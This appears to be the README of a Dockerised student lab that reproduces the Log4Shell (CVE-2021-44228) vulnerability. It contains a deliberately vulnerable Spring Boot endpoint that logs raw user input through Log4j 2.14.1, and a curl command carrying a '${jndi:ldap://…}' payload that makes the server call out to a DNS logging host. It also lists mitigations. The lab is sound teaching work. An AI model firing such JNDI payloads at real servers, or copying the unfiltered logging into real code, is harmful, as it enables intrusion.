
Apache Log4j の脆弱性(CVE-2021-44228)に関する技術調査と、テスト環境の構築。Docker 化された Proof of Concept(PoC)および PSSI(情報システムセキュリティポリシー)の更新提案を含みます。実習課題(TP)を目的としています。
このプロジェクトは、Apache Log4j ライブラリに影響を及ぼす重大な脆弱性 Log4Shell (CVE-2021-44228) を再現・理解するための管理されたテスト環境です。
Secutp1/
├── Dockerfile # Construction de l'image Docker
├── pom.xml # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md # Ce fichier
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Application Spring Boot vulnérable
攻撃者が CVE-2021-44228 の脆弱性を悪用し、悪意のある文字列を送信するだけで、サーバーに許可されていない外部ネットワークへの発信接続を実行させることができることを実証します。
pom.xml)pom.xml ファイルは、セキュリティ修正前のバージョンである Log4j 2.14.1 の使用を強制します:
<log4j2.version>2.14.1</log4j2.version>
このバージョンには、デフォルトで有効化されている JndiLookup クラスが含まれており、これが問題の根本原因です。
VulnerableApplication.java)このアプリケーションは REST ウェブサービスを公開しています。脆弱性は index メソッドにあります:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNÉRABLE :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
問題: アプリケーションはユーザーパラメータ (input) を取得し、一切のフィルタリングを行うことなく直接 logger.info() に渡します。Log4j はその内容を潜在的なコマンドとして解釈します。
Dockerfile)Dockerfile は 2 段階のビルドを使用します:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre による実行💡 Java 11 の使用は適切です。新しいバージョンはデフォルトでリモートクラスのロードを制限するためです。
この悪用は JNDI (Java Naming and Directory Interface) インジェクションに基づいています:
${jndi:protocole://url} という構文を検出します以下のファイルが同じフォルダにあることを確認してください:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
このコマンドは Maven の依存関係 (Log4j 2.14.1) をダウンロードし、イメージを作成します。
docker run -p 8080:8080 --name demo-log4j vulnerable-app
アプリケーションはポート 8080 で待ち受けます。
DNS ロギングサービスにアクセスします:
提供されたアドレスをコピーします (例: mon-test.dnslog.cn)
新しいターミナルで次のコマンドを実行します:
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 注記:
\文字は、ターミナル内で$をエスケープするために使用されます。
dnslog サイトに戻ると、DNS リクエストが表示され、サーバーが注入されたコードを実行したことが確認できます。
サーバーは、ユーザーのリクエストをログに記録しただけで、外部マシンへの発信接続を実行しました。
実際のシナリオでは、この接続により以下が可能になります:
この脆弱性を修正するには:
-Dlog4j2.formatMsgNoLookups=trueこのプロジェクトは教育目的のみで提供されています。責任を持って倫理的に使用してください。
| ステップ | 動作 |
|---|
| 1 | Java アプリケーションが HTTP リクエストを受信します |
| 2 | logger.info(...) の行が input パラメータを処理します |
| 3 | Log4j が ${jndi:...} 構文を検出します |
| 4 | Log4j がリモートサーバーへの LDAP 解決を実行します |
| 5 | DNS リクエストが DNSLog インターフェースに表示されます |